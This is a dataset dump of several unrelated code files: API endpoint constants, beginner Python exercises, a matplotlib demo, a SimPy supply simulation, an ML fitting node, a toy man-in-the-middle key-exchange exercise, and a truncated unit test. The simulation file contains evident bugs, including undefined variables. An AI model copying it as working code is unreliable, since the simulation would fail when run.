7.10屏参数更新\r\nscreenUpdate='/screenfeature/screen/update'\r\n\r\n###########################################第8章选单模块接口协议###################################\r\n\r\n###########################################第9章账户计费模块接口协议###################################\r\n\r\n###########################################第10章持久模块接口协议###################################\r\n\r\n# 10.1订单请求 (匹配模块转发)\r\npersistenceReq='/persistence/req'\r\n# 10.2播放完成 (排队模块或入口模块转发)\r\npersistencePlaydone='/persistence/playdone'\r\n# 10.3终端状态/告警上报 (排队转发)\r\npersistenceStatusreport='/persistence/statusreport'\r\n\r\n##########################################第11章广告管理模块接口协议###################################\r\n\r\n# 11.1创建广告\r\nadmanageAdCreate='/admanage/ad/create'\r\n# 11.1创建广告\r\nadmanageAdCreate='/admanage/ad/create'\r\n# 11.2素材查询\r\nadmanageMaterialQuery='/admanage/material/query'\r\n# 11.6广告状态更新\r\nadmanageAdStatusUpdate='/admanage/ad/status/update'\r\n# 11.17.1添加监控链\r\nadmanageAdMonitorUpdate='/admanage/ad/monitor/update'\r\n# 11.18.1.2查询素材\r\nadmanageMaterialV2QueryMaterial='/admanage/material/v2/query/material'\r\n# 11.18.1.1查询广告\r\nadmanageMaterialV2QueryPlan='/admanage/material/v2/query/plan'\r\n# 11.18.1.3查询终端\r\nadmanageMaterialV2QueryScreen='/admanage/material/v2/query/screen'\r\n# 11.18.1.4一键审核\r\nadmanageMaterialV2ReviewPlan='/admanage/material/v2/review/plan'\r\n# 11.18.1.1\t查询广告\r\nadmanageMaterialV2QueryPlan='/admanage/material/v2/query/plan'\r\n\r\n###########################################第12章财务模块接口协议###################################\r\n\r\n# 12.16.7仪表盘数据汇总查询\r\nfinanceDmpV2AnalysisTotalsummary='/finance/dmp/v2/analysis/totalsummary'\r\n# 12.14.2播放统计分析查询\r\nfinanceAnalysisPlayList='/finance/analysis/play/list'\r\n\r\n###########################################第13章素材文件模块接口协议###################################\r\n\r\n# 13.3从文件服务删除素材\r\nmaterialDelete='/material/delete'\r\n# 13.4获取点屏素材路径\r\nmaterialSspGeturl='/material/ssp/geturl'\r\n\r\n###########################################第14章登录认证模块接口协议###################################\r\n\r\n# 14.1登录\r\nauthLogin='/auth/login'\r\n\r\n###########################################第15章 广告入口模块接口协议###################################\r\n\r\n# 15.1新建广告计划 (众盟发起)\r\nplanCreate='/plan/create.json'\r\n# 15.3素材查询 (前端发起)\r\nsspMaterialQuery='/ssp/material/query'\r\n# 15.3素材查询 (前端发起)(旧接口)\r\nplanMaterialGet='/plan/material/get'\r\n# 15.4素材审核 (前端发起)\r\nsspMaterialReview='/ssp/material/review'\r\n# 15.4素材审核 (前端发起)(旧接口)\r\nplanMaterialReview='/plan/material/review'\r\n# 15.5获取素材地址 (前端发起)\r\nsspMaterialGeturl='/ssp/material/geturl'\r\n# 15.6创建广告计划(讯飞)\r\niflyNew='/plan/ifly/new'\r\n# 15.6创建广告计划(点屏)\r\nadCreate='/plan/ad/create'\r\n# 15.8登录(转发至认证模块)\r\nauthLogin='/auth/login'\r\n# 15.15.1新建二级账户\r\nsspUsermanageSubaccountRegister='/ssp/usermanage/subaccount/register'\r\n# 15.15.5更新二级账户\r\nsspUsermanageSubaccountUpdate='/ssp/usermanage/subaccount/update'\r\n# 16.4用户添加\r\nusermanageUserInsert='/usermanage/user/insert'\r\n# 15.15.3删除二级账户\r\nsspUsermanageSubaccountDelete='/ssp/usermanage/subaccount/delete'\r\n# 15.15.2查询二级账户\r\nsspUsermanageSubaccountQuery='/ssp/usermanage/subaccount/query'\r\n# 15.19.1DMP登录\r\ndmpAuthLogin='dmp/auth/login'\r\n# 15.19.2 DMP用户列表\r\ndmpUserQuery='/dmp/user/query'\r\n# 15.19.3 DMP重置密码\r\ndmpUserResetpassword='dmp/user/resetpassword'\r\n# 15.19.4 DMP修改密码\r\ndmpUserChangepassword='dmp/user/changepassword'\r\n# 15.19.5 DMP修改用户信息\r\ndmpUserUpdate='dmp/user/update'\r\n# 15.19.6 DMP添加用户\r\ndmpUserInsert='dmp/user/insert'\r\n# 15.19.7 DMP媒体商列表\r\ndmpScreenSspDeviceQuerymediaprovider='dmp/screen/ssp/device/querymediaprovider'\r\n# 15.19.8 DMP终端列表\r\ndmpScreenSspDeviceQuery='dmp/screen/ssp/device/query'\r\n# 15.19.9 DMP终端详情\r\ndmpScreenSspDeviceQueryone='dmp/screen/ssp/device/queryone'\r\n# 15.20.1 探针原始数据推送\r\nprobeZhimaOriginalCreate='/probe/zhima/original/create'\r\n# 15.20.2 探针角色数据推送\r\nprobeZhimaRoleCreate='/probe/zhima/role/create'\r\n# 15.22 增加探针和广告位的绑定\r\nprobeScreenCreate='/probe/screen/create'\r\n# 15.23 一键审核 (前端发起)\r\nsspV2ReviewPlan='/ssp/v2/review/plan'\r\n\r\n###########################################第16章 用户管理模块接口协议###################################\r\n\r\n# 16.1账户注册\r\nusermanageAccountRegister='/usermanage/account/register'\r\n# 16.2账户查询\r\nusermanageAccountQuery='/usermanage/account/query'\r\n# 16.3账户更新\r\nusermanageAccountUpdate='/usermanage/account/update'\r\n# 16.5用户更新\r\nusermanageUserUpdate='/usermanage/user/update'\r\n# 16.9登录验证\r\nusermanageuserVerify='/usermanage/user/verify'\r\n\r\n\r\n\r\n###########################################第17章消息通告模块接口协议###################################\r\n\r\n###########################################第18章 查询入口模块接口协议###################################\r\n\r\n# 18.1.1查询二级账户统计概要列表\r\nqueryentrySubsspSummarylist='/queryentry/subssp/summarylist'\r\n# 18.4请求初始化配置\r\nsysparamDeviceInitparams='/sysparam/device/initparams'\r\n# 18.8.1播放统计分析查询\r\nsspFinanceAnalysisPlaySummary='/ssp/finance/analysis/play/summary'\r\n# 18.8.1播放统计分析查询\r\nsspFinanceAnalysisPlayList='/ssp/finance/analysis/play/list'\r\n# 18.20修改初始化返回参数\r\nsysparamDeviceUpd='/sysparam/device/upd'\r\n# 18.1媒体商的统计数据概览\r\nqueryentrySspSummary='/queryentry/ssp/summary'\r\n# 18.2媒体商的每日统计数据\r\nqueryentrySspStatisdaily = '/queryentry/ssp/statisdaily'\r\n\r\n###########################################第19章广告代理模块接口协议###################################\r\n\r\n# 19.1请求广告商的广告 (屏模块发起)\r\nadagentAdrequest='/adagent/adrequest'\r\n\r\n###########################################第20章屏管理模块接口协议###################################\r\n\r\n# 20.1查询媒体位\r\nscreenmanageSspDeviceQuery='/screenmanage/ssp/device/query'\r\n# 20.2增加媒体位\r\nscreenmanageSspDeviceAdd='/screenmanage/ssp/device/add'\r\n# 20.3删除媒体位\r\nscreenmanageSspDeviceDelete='/screenmanage/ssp/device/delete'\r\n# 20.4修改媒体位\r\nscreenmanageSspDeviceUpdate='/screenmanage/ssp/device/update'\r\n# 20.4.1媒体位状态修改\r\nscreenmanageSspDeviceStatusUpdate='/screenmanage/ssp/device/status/update'\r\n# 20.20设置轮询请求广告主\r\nscreenmanageSetrollpoll='/screenmanage/setrollpoll'\r\n# 20.21查询轮询请求广告主设置\r\nscreenmanageSelectrollpoll='/screenmanage/selectrollpoll'\r\n\r\n###########################################第21章播放监控模块接口协议###################################\r\n\r\n\r\n###########################################其他###################################\r\n\r\n# 增加外部策略\r\ndispatcherStrategyAdd='/dispatcher/strategy/add'\r\n# 查看外部策略\r\ndispatcherStrategyList='/dispatcher/strategy/list'\r\n# 将历史数据生成报表数据\r\naccountProcessDataDmp='/account/process/data/dmp'\r\n# 手动平账结算\r\naccountBalanceAccount ='/account/balanceAccount '","sub_path":"dptest_pro/sspTest/constants/interfaceName.py","file_name":"interfaceName.py","file_ext":"py","file_size_in_byte":9332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"349574305","text":"#We've given you a class called \"Song\" that represents\n#some basic information about a song. We also wrote a \n#class called \"Artist\" which contains some basic \n#information about an artist.\n#\n#Your job is to create three instances of the song class,\n#called song_1, song_2, and song_3.\n#\n#song_1 should have the following attributes:\n# name = \"You Belong With Me\"\n# album = \"Fearless\"\n# year = 2008\n# artist.name = \"Taylor Swift\"\n# artist.label = \"Big Machine Records, LLC\"\n#\n#song_2 should have the following attributes:\n# name = \"All Too Well\"\n# album = \"Red\"\n# year = 2012\n# artist.name = \"Taylor Swift\"\n# artist.label = \"Big Machine Records, LLC\"\n#\n#song_3 should have the following attributes:\n# name = \"Up We Go\"\n# album = \"Midnight Machines\"\n# year = 2016\n# artist.name = \"LiGHTS\"\n# artist.label = \"Warner Bros. Records Inc.\"\n#\n#Notice, though, that song_1 and song_2 have the same\n#artist and label. That means they should each have the\n#SAME instance of artist: do not create separate instances\n#of artist for each song.\n#\n#When your code is done running, there should exist three\n#variables: song_1, song_2, and song_3, according to the\n#requirements above.\nTS = Artist(\"Taylor Swift\", \"Big Machine Records, LLC\")\nsong_1 = Song(\"You Belong With Me\", \"Fearless\", 2008, TS)\nsong_2 = Song(\"All Too Well\", \"Red\", 2012, TS)\nsong_3 = Song(\"Up We Go\", \"Midnight Machines\", 2016, Artist(\"LiGHTS\", \"Warner Bros. Records Inc.\"))\n","sub_path":"SongArtist.py","file_name":"SongArtist.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"551185648","text":"\"\"\"\nExample to show how to capture mouse events with matplotlib to draw a circle\n\"\"\"\n\n# Import required packages:\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ncolors = {'blue': (255, 0, 0), 'green': (0, 255, 0), 'red': (0, 0, 255), 'yellow': (0, 255, 255),\n 'magenta': (255, 0, 255), 'cyan': (255, 255, 0), 'white': (255, 255, 255), 'black': (0, 0, 0),\n 'gray': (125, 125, 125), 'rand': np.random.randint(0, high=256, size=(3,)).tolist(),\n 'dark_gray': (50, 50, 50), 'light_gray': (220, 220, 220)}\n\n# We create the canvas to draw: 400 x 400 pixels, 3 channels, uint8 (8-bit unsigned integers)\n# We set the background to black using np.zeros():\nimage = np.zeros((400, 400, 3), dtype=\"uint8\")\n\n# If you want another background color you can do the following:\nimage[:] = colors['light_gray']\n\n\ndef update_img_with_matplotlib():\n \"\"\"Updates an image using matplotlib capabilities\"\"\"\n\n # Convert BGR to RGB image format:\n img_RGB = image[:, :, ::-1]\n\n # Display the image:\n plt.imshow(img_RGB)\n\n # Redraw the Figure because the image has been updated:\n figure.canvas.draw()\n\n\n# We define the event listener for the 'button_press_event':\ndef click_mouse_event(event):\n # (event.xdata, event.ydata) contain the float coordinates of the mouse click event:\n cv2.circle(image, (int(round(event.xdata)), int(round(event.ydata))), 30, colors['blue'], cv2.FILLED)\n # Call 'update_image()' method to update the Figure:\n update_img_with_matplotlib()\n\n\n# We create the Figure:\nfigure = plt.figure()\nfigure.add_subplot(111)\n\n# To show the image until a click is performed:\nupdate_img_with_matplotlib()\n\n# 'button_press_event' is a MouseEvent where a mouse botton is click (pressed)\n# When this event happens the function 'click_mouse_event' is called:\nfigure.canvas.mpl_connect('button_press_event', click_mouse_event)\n\n# Display the figure:\nplt.show()\n","sub_path":"Chapter04/01-chapter-content/matplotlib_mouse_events.py","file_name":"matplotlib_mouse_events.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"610602938","text":"def multiplicacion(n):\n\tsuma = 0\n\ti = 0\n\tfor x in range(n):\n\t\tif(i%3==0):\n\t\t\tsuma += i\n\t\telif(i%5==0):\n\t\t\tsuma += i\n\t\ti+=1\n\treturn suma\n\ndato = int(input(\"Ingresa un numero: \"))\nprint(multiplicacion(dato))\n","sub_path":"programacion-orientada-a-objetos/ejercicio1.py","file_name":"ejercicio1.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"505846572","text":"\"\"\"\nProject simulation implementation.\n\nThis module exposes an interface to the implementation of the project\nsimulation. This interface allows the client to set simulation\nparameters, set the initial state of the content distribution network\nand execute the simulation.\n\n\"\"\"\n\nimport random\nimport logging\n\nimport simpy\n\n\nFRONT = 0\nDEFAULT_SIM_LEN = 1000\n\n\nclass SimulationError(Exception): pass\n\n\ndefault_params = {\n \"di\": 0.01, # Disease incidence\n \"st\": 1, # Unit time storage cost\n \"sud\": 1, # Simple unit distance cost\n \"cud\": 2, # Complex unit distance cost\n \"udr\": 2, # Unit distance redistribution cost\n \"ur\": 1, # Unit resupply cost\n \"fr\": 0.5, # Redistribution fraction\n}\n\n\ndef simulate(cdn, sim_params=default_params, sim_len=DEFAULT_SIM_LEN):\n \"\"\"\n Return the results of executing the simulation on cdn.\n\n Parameters\n ----------\n cdn: NetworkX.Graph\n The underlying content distribution network of the simulation.\n\n sim_params: dict\n The simulation parameters.\n\n \"\"\"\n are_valid, msg = are_valid_parameters(sim_params)\n if not are_valid:\n raise SimulationError(msg)\n\n env = simpy.Environment()\n\n # Accumulators for each cost type. The accumulators are lists that\n # contain 3-tuples of the form (cost, time, node). This is done for\n # the convenience of doing multiple analyses and visualizations.\n scc_acc = [] # Simple customer cost accumulator.\n stc_acc = [] # Storage cost accumulator.\n ccc_acc = [] # Complex customer cost accumulator.\n rdc_acc = [] # Redistribution cost accumulator.\n suc_acc = [] # Resupply cost accumulator.\n\n # Event counters.\n sce_counter = 0 # Simple customer event counter.\n cce_counter = 0 # Complex customer event counter.\n sue_counter = 0 # Resupply event counter.\n\n def simple_customer_event(env, node):\n \"\"\"\n Execute the logic of a simple customer event.\n\n \"\"\"\n # Accumulate the simple customer cost of this\n # simple customer event.\n primary_store = cdn.node[node][\"primary_store\"]\n distance = cdn.node[node][\"primary_store_distance\"]\n scc = distance*sim_params[\"sud\"]\n scc_acc.append((scc, env.now, node))\n\n # Decrease the store's inventory and accumulate\n # the storage cost of this simple customer event.\n store_stock = cdn.node[primary_store][\"stock\"]\n supply_time = store_stock.pop(FRONT)\n storage_duration = env.now - supply_time\n stc = storage_duration*sim_params[\"st\"]\n stc_acc.append((stc, env.now, node))\n\n def complex_customer_event(env, node):\n \"\"\"\n Execute the logic of a complex customer event.\n\n \"\"\"\n store = cdn.node[node][\"primary_store\"]\n distance = cdn.node[node][\"primary_store_distance\"]\n L = [store] # The list of out-of-stock stores.\n # Traverse the distribution tree searching for\n # a store with stock.\n while not cdn.node[store][\"stock\"]:\n distance += cdn.node[store][\"next_store_distance\"]\n store = cdn.node[store][\"next_store\"]\n L.append(store)\n\n # Accumulate the complex customer cost.\n ccc = distance*sim_params[\"cud\"]\n ccc_acc.append((ccc, env.now, node))\n\n # Decrease the store's inventory and accumulate\n # the storage cost of this complex customer event.\n store_stock = cdn.node[store][\"stock\"]\n store_stock.pop(FRONT)\n storage_duration = env.now - supply_time\n stc = storage_duration*sim_params[\"st\"]\n stc_acc.append((stc, env.now, node))\n\n # Compute the storage cost of all the redistributed stock.\n nr_tot = int(len(store_stock)*sim_params[\"fr\"])\n stock_times = store_stock[:nr_tot]\n store_stock = store_stock[nr:]\n storage_durations = [env.now-t for t in stock_times]\n stcs = [d*sim_params[\"st\"] for d in storage_durations]\n stc = sum(stcs)\n stc_acc.append((stc, env.now, store))\n # Redistribute some of store's inventory to all the stores\n # in L and accumulate the redistribution cost.\n nr = nr_tot // len(L)\n distance -= cdn.node[node][\"primary_store_distance\"]\n while L:\n s = L.pop(FRONT)\n times, stock_times = stock_times[:nr], stock_times[nr:]\n durations = [env.now-t for t in times]\n rdcs = [d*sim_params[\"udr\"] for d in durations]\n rdc = sum(rdcs)\n rdc_acc.append((rdc, env.now, s))\n cdn.node[s][\"stock\"] = [env.now]*nr\n distance -= cdn.node[s][\"next_store_distance\"]\n\n # Set up a customer process for each node.\n def customer_process(env, node):\n # Compute the arrival rate of this node's\n # customer Poisson process.\n arrival_rate = cdn.node[node][\"population\"]*sim_params[\"di\"]\n scale = 1.0 / arrival_rate\n primary_store = cdn.node[node][\"primary_store\"]\n while True:\n yield env.timeout(random.expovariate(scale))\n if cdn.node[primary_store][\"stock\"]:\n simple_customer_event(env, node)\n else:\n complex_customer_event(env, node)\n\n for node in cdn.node:\n env.process(customer_process(env, node))\n\n # Set up a resupply process for each store node.\n def resupply_process(env, node):\n # Get the arrival rate of this node's\n # resupply Poisson process.\n arrival_rate = cdn.node[node][\"resupply_arrival_rate\"]\n scale = 1.0 / arrival_rate\n resupply_amount = cdn.node[node][\"resupply_amount\"]\n store_stock = cdn.node[node][\"stock\"]\n while True:\n yield env.timeout(random.expovariate(scale))\n stock.extend([env.now]*resupply_amount)\n suc = resupply_amount*sim_params[\"ur\"]\n suc_acc.append((suc, env.now, node))\n\n for node in cdn.node:\n if node == cdn.node[node][\"primary_store\"]:\n env.process(resupply_process(env, node))\n\n env.run(until=sim_len)\n\n accumulators = {\n \"scc_acc\": scc_acc,\n \"stc_acc\": stc_acc,\n \"ccc_acc\": ccc_acc,\n \"rdc_acc\": rdc_acc,\n \"suc_acc\": suc_acc\n }\n\n counters = {\n \"cce_counter\": cce_counter,\n \"sce_counter\": sce_counter,\n \"sue_counter\": sue_counter\n }\n\n return cdn, accumulators, counters\n\n\ndef are_valid_parameters(params):\n \"\"\"\n Return (True, \"\") if params are valid, otherwise (False, msg).\n\n \"\"\"\n if params is default_params:\n return True, \"\"\n\n missing_keys = set(default_params.keys()) - set(params.keys())\n if missing_keys:\n msg = (\"The following required simulation \"\n \"parameters are not defined:\\n{}\")\n return False, msg.format(list(missing_keys))\n\n # If extraneous simulation parameters are defined print a\n # warning message. But otherwise this is not a fatal exception.\n extra_keys = set(params.keys()) - set(default_params.keys())\n if extra_keys:\n msg = (\"The following extra simulation \"\n \"parameters are defined:\\n{}\")\n logging.warning(msg.format(list(extra_keys)))\n\n # Validate the values of the disease incidence and redistribution\n # fraction simulation parameters. They must take on values in the\n # closed interval [0.0, 1.0]\n if not (0.0 <= params[\"fr\"] <= 1.0):\n msg = (\"The redistribution fraction simulation parameter \"\n \"fr is {fr} but it must take a value in the closed \"\n \"interval [0.0, 1.0]\")\n return False, msg.format(fr=params[\"fr\"])\n\n if not (0.0 <= params[\"di\"] <= 1.0):\n msg = (\"The disease incidence simulation parameter \"\n \"di is {di} but it must take a value in the \"\n \"closed interval [0.0, 1.0]\")\n return False, msg.format(di=params[\"di\"])\n\n neg_params = {key: value for key, value in params.items() if value < 0.0}\n if neg_params:\n msg = (\"The following simulation parameters have \"\n \"invalid negative values:\\n{}\")\n return False, msg.format(list(neg_params.keys()))\n\n return True, \"\"\n","sub_path":"simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":8166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"552217682","text":"import numpy as np\nimport pandas as pd\nimport json\nfrom threading import Thread\nfrom time import time, clock\n\nfrom collections import Counter\n\nfrom sklearn.preprocessing import LabelEncoder\nimport xarray as xr\nfrom timeflux.core.node import Node\nfrom timeflux.core.exceptions import WorkerInterrupt\n\nfrom copy import deepcopy\n\nfrom timeflux_ml.utils.sklearn_helpers import make_pipeline\n\n\nclass Fit(Node):\n \"\"\" Construct and fit a sklearn Pipeline object\n\n This node first constructs a sklearn Pipeline object given ``pipeline_steps`` and\n ``pipeline_params``.\n Then, when data is received, the node calls the method `fit` of the pipeline object\n in a thread aside.\n Once the model has fitted, the node sends an event in data of output port with suffix 'events'\n and the fitted model in meta of output port with suffix 'model'.\n\n The fitting can be:\n\n - **supervised**: if the training model requires to set `y` when calling the fit method,\n then parameter ``has_targets`` set to `True` and the data should be od type DataArray with\n dimension `target`.\n - **unsupervised**: if the training model does not require to set `y` when calling the fit method,\n then parameter ``has_targets`` should be set to `False` and data can be either of type DataFrame\n or DataArray.\n\n Attributes:\n i (Port): default input, expects DataFrame or DataArray.\n o_events (Port): event output, provides DataFrame.\n o_model (Port): model output, provides meta.\n\n Args:\n pipeline_steps (dict): string -> string. Keys are step names and values are\n estimator class names (eg. {'scaler': 'sklearn.preprocessing.MinMaxScaler'})\n pipeline_params (dict): string -> object. Parameters passed to the fit method of\n each step, where each parameter name is prefixed such that parameter `p` for\n step `s` has key `s__p`. (eg. {'scaler__feature_range': (.1, .99)})\n event_label_base (string|None): The label prefix of the output events stream to\n inform that model starts/ends fitting.\n has_targets (bool, True): If True, model is supervised and meta should have a\n field \"label\"; if False,\n\n\n Notes:\n In case the fitting is of type `supervised`, we systematically apply a LabelEncoder\n to the classes vector in order to assure the compatibility of labelling,\n\n Note also that the modules are indeed imported dynamically in the pipeline\n but the dependencies must be satisfied in the environment.\n\n References:\n\n See the documentation of `sklearn.pipeline.Pipeline\n `_\n\n \"\"\"\n\n def __init__(self, pipeline_steps, pipeline_params=None,\n event_label_base='model-fitting', has_targets=True):\n\n super().__init__()\n self._pipeline_steps = pipeline_steps\n self._pipeline_params = pipeline_params or {}\n self._event_label_base = event_label_base\n\n self._has_targets = has_targets\n self._reset()\n self._thread = None\n self._thread_status = None\n\n # todo: preload model from file.\n\n def _reset(self):\n self._le = LabelEncoder()\n print(f'self._pipeline_params {self._pipeline_params}')\n self._pipeline = make_pipeline(self._pipeline_steps, self._pipeline_params)\n self._thread = None\n self._thread_status = None\n\n def update(self):\n\n # At this point, we are sure that we have some data to process\n self.o_events.data = pd.DataFrame()\n\n if self._thread_status is None:\n # When we have not received data, there is nothing to do\n if not self.i.ready():\n return\n self._fit()\n\n if self._thread_status == 'FAILED':\n raise WorkerInterrupt('Estimator fit failed.')\n\n elif self._thread_status == 'SUCCESS':\n if self._has_targets:\n model = {'values': deepcopy(self._pipeline), 'label': deepcopy(self._le)}\n else:\n model = {'values': deepcopy(self._pipeline)}\n\n self.o_model.meta.update({'pipeline': model})\n\n self.logger.info(f'The model {self._pipeline} was successfully fitted. ')\n\n # send an event to announce that fitting is ready.\n if self._event_label_base is not None:\n self.o_events.data = self.o_events.data.append(pd.DataFrame(index=[pd.Timestamp(time(), unit='s')],\n columns=['label', 'data'],\n data=[[self._event_label_base + '_ends',\n '']]))\n\n self._reset()\n else: # self._thread_status == 'WORKING'\n return\n\n def _fit(self):\n self._thread_status = 'WORKING'\n self._y = None\n _meta = {}\n self._X = self.i.data.values\n if self._has_targets:\n if isinstance(self.i.data, xr.DataArray):\n self._y = self.i.data.target.values\n # self._y = self.i.data.target.values\n self._y = self._le.fit_transform(self._y)\n y_count = dict(Counter(self._y))\n _meta['y_count'] = {self._le.inverse_transform([k])[0]: v for (k, v) in\n y_count.items()} # convert keys to string and dump\n else:\n raise ValueError('If `has_target` is True, the node expects '\n 'a DataArray with dimension \"target\"')\n\n _meta['X_shape'] = self._X.shape\n\n # save the models in the meta\n self.o_model.meta.update({'X': self._X, 'y': self._y})\n\n self.logger.info('Please wait, the model is fitting... ')\n\n if self._event_label_base is not None:\n self.o_events.data = pd.DataFrame(index=[pd.Timestamp(time(), unit='s')],\n columns=['label', 'data'],\n data=[[self._event_label_base + '_begins', json.dumps(_meta)]])\n\n # Fit X model in a thread\n self._thread = Thread(target=self._fit_thread)\n self._thread.start()\n\n def _fit_thread(self):\n try:\n self._pipeline.fit(self._X, self._y)\n self._thread_status = 'SUCCESS'\n except ValueError:\n self._thread_status = 'FAILED'\n","sub_path":"timeflux_ml/nodes/fit.py","file_name":"fit.py","file_ext":"py","file_size_in_byte":6622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"153192402","text":"from odoo import models, api, fields\n\n\nclass KgReportPosBill(models.TransientModel):\n \"\"\" View Report without KG Report Wizard\n direct view KG Report - view menu Action Print (.mrt)\n\n \"\"\"\n _inherit = 'report.kg_report_action_abstract'\n _name = 'report.kg_report_action_pos_order_bill'\n\n _title = \"KG Report - POS Order Bill\"\n\n @api.model\n def _define_report_name(self, doc_ids, data, records):\n if records:\n order = records[0]\n report_name = order.config_id.receipt_bill_report_name\n else:\n report_name = 'single.mrt'\n return '/kg_pos/static/rpt/{report_name}'.format(report_name=report_name)\n\n @api.model\n def _get_data(self, doc_ids, data, records, **kwargs):\n report_data = []\n for order in records:\n order_lines = self._format_order_lines(order)\n payment_lines, hide_service_tax = self._format_payment_lines(order)\n order.print_counter += 1\n validation_date = fields.Datetime.context_timestamp(self, fields.Datetime.from_string(\n order.date_order\n )).isoformat('T')\n current_order = {\n \"order_id\": order.id,\n \"name\": order.pos_reference,\n \"config_name\": order.config_id.name,\n \"table_name\": \"TBL \" + order.table_id.name if order.table_id else \"\",\n \"cashier_name\": order.user_id.name,\n \"waiter_name\": order.waiter_id.name if order.waiter_id else \"\",\n \"customer_count\": order.customer_count,\n \"validation_date\": validation_date,\n \"hide_service_tax\": hide_service_tax,\n \"print_counter\": order.print_counter,\n \"is_hotel_guest\": \"I\" if order.is_hotel_guest else \"O\",\n \"company_name\": order.company_id.name,\n \"shop_name\": order.config_id.name,\n \"currency_symbol\": order.session_id.currency_id.symbol if order.session_id.currency_id else \" \",\n \"currency_rounding\": order.session_id.currency_id.rounding if order.session_id.currency_id else 0.01,\n \"discount\": order.total_disc_amount_before_tax,\n \"sub_total\": order.amount_untaxed,\n \"service\": order.amount_service,\n \"tax\": order.amount_tax_only,\n \"total\": order.amount_total,\n \"change\": order.change if order.change else 0,\n \"order_lines\": order_lines,\n \"payment_lines\": payment_lines\n }\n report_data.append(current_order)\n return {\n \"orders\": report_data\n }\n\n @staticmethod\n def _format_payment_lines(order):\n payment_lines = []\n hide_service_tax = False\n for payment in order.statement_ids:\n payment_line = {\n \"order_id\": order.id,\n \"name\": payment.journal_id.name,\n \"amount\": payment.amount,\n \"is_officer_check\": payment.journal_id.is_officer_check,\n \"is_department_expense\": payment.journal_id.is_department_expense,\n }\n if payment.journal_id.is_department_expense or payment.journal_id.is_officer_check:\n hide_service_tax = True\n if order.department_id:\n payment_line['name'] = \"Departement: {name}\".format(name=order.department_id.name)\n elif order.employee_id:\n payment_line['name'] = \"Employee: {name}\".format(name=order.employee_id.name)\n payment_lines.append(payment_line)\n return payment_lines, hide_service_tax\n\n @staticmethod\n def _format_order_lines(order):\n order_lines = []\n for line in order.lines:\n order_line = {\n \"order_id\": order.id,\n \"quantity\": line.qty,\n \"displayName\": line.custom_item_name if line.custom_item_name else line.product_id.name,\n \"priceWithTax\": line.price_subtotal_incl,\n \"priceWithoutTax\": line.price_subtotal,\n \"tax\": line.tax_amount,\n # \"taxDetails\": line.tax_ids_after_fiscal_position,\n \"serviceAmount\": line.service_amount,\n \"taxWithoutService\": line.tax_amount,\n \"bruttoBeforeTax\": line.line_brutto_before_tax,\n \"lineDiscAmountBeforeTax\": line.line_disc_amount_before_tax,\n \"unit_name\": line.product_id.name,\n \"price\": line.price_unit,\n \"discount\": line.discount,\n \"product_name\": line.product_id.name,\n \"product_name_wrapped\": line.product_id.name,\n \"main_category\": line.product_id.main_category,\n \"price_display\": line.price_unit,\n \"product_description\": \"\",\n \"note\": line.note,\n \"product_description_sale\": \"\"\n }\n order_lines.append(order_line)\n return order_lines\n","sub_path":"local/kg_pos/reports/kg_rpt_action_pos_order_bill.py","file_name":"kg_rpt_action_pos_order_bill.py","file_ext":"py","file_size_in_byte":5047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"93841820","text":"\nalice = Agent(\"I'M 5UppER Kewl h4zKEr\")\nbob = Agent()\nmallory = MITM()\n\n# Alice has da message, Bob doesn't\nassert alice.msg\nassert not bob.msg\n\n# Negotiate parameters publicly\nmallory.receive_public_data(*alice.send_public_data())\nbob.receive_public_data(*mallory.send_public_data())\nmallory.receive_public_data(*bob.send_public_data())\nalice.receive_public_data(*mallory.send_public_data())\n\n# Exchange keys publicly\nmallory.receive_public_key(alice.send_public_key())\nbob.receive_public_key(mallory.send_public_key())\nmallory.receive_public_key(bob.send_public_key())\nalice.receive_public_key(mallory.send_public_key())\n\n# Pass da message\nbob.receive_message(mallory.intercept_message(alice.send_message()))\n# Bob has it now\nassert bob.msg == alice.msg\n# Mallory too\nassert mallory.msg == alice.msg\n","sub_path":"itls_101.py","file_name":"itls_101.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"455979542","text":"# -*- coding: utf-8 -*-\n# Copyright 2014-2015 TIS Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport json\nimport unittest\nimport mock\nimport test_helper\n\nimport event_handler\n\ntest_root = os.path.join(os.path.join(test_helper.pattern_root, 'serverspec'))\n\n\nclass TestEventHandler(unittest.TestCase):\n\n def setup(self):\n self.seq = range(10)\n\n def test_initialize(self):\n self.assertEqual(event_handler.pattern_name, 'zabbix_pattern')\n self.assertEqual(event_handler.pattern_root, test_helper.pattern_root)\n\n @mock.patch('event_handler.execute_serverspec')\n @mock.patch('event_handler.execute_chef')\n def test_execute_with_spec(self, chef, spec):\n spec.return_value = 0\n chef.return_value = 1\n\n roles = ['web', 'ap', 'db']\n\n ret = event_handler.execute(roles, 'spec')\n\n self.assertEqual(spec.call_count, 1)\n self.assertEqual(spec.call_args, ((roles, ), {}))\n self.assertEqual(ret, 0)\n\n @mock.patch('event_handler.execute_serverspec')\n @mock.patch('event_handler.execute_chef')\n def test_execute_with_chef(self, chef, spec):\n spec.return_value = 1\n chef.return_value = 0\n\n roles = ['web', 'ap', 'db']\n\n ret = event_handler.execute(roles, 'setup')\n\n self.assertEqual(chef.call_count, 